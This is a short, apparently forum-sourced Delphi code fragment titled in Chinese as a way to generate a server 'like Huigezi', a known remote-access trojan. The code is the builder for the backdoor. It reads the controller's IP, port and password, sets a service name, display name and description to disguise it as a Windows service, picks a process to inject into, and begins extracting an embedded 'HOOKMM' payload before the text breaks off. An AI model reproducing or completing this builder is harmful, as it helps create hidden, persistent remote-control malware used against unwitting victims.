delphi 远程生成方式像灰鸽子那样的生成方式

sf := TSaveDialog.Create(Application);
sf.InitialDir := Application.ExeName;
sf.FileName := 'server.exe';
sf.DefaultExt := 'exe';
sf.Title := '生成服务端';
if not sf.Execute then exit;

DnsIp:= trim(IPEdit.Text);
WebTxt:= trim(webEdit.Text);
LFtptxt:= '/'+ trim(IPFileEdit.Text);
wPort:= trim(PortEdit.Text);
Lpass:= trim(PassWordEdit.Text);

exeFile:= trim(ExeFileEdit.Text);
dllFile:= trim(DllFileEdit.Text);
szServiceName:= trim(ServiceNameEdit.Text);
DisplayName:= trim(DisplayNameEdit.Text);
Description:= trim(DescriptionEdit.Text);
Beizhu:= trim(BeiZhuEdit.Text);
InjectEXE:=trim(InjectComboBox.Text);

Filenupx := sf.FileName;
ResultFilePath := pchar(sf.FileName);

ResourceLocation := FindResource(HInstance, 'HOOKMM', RT_RCDATA);
if ResourceLocation <> 0 then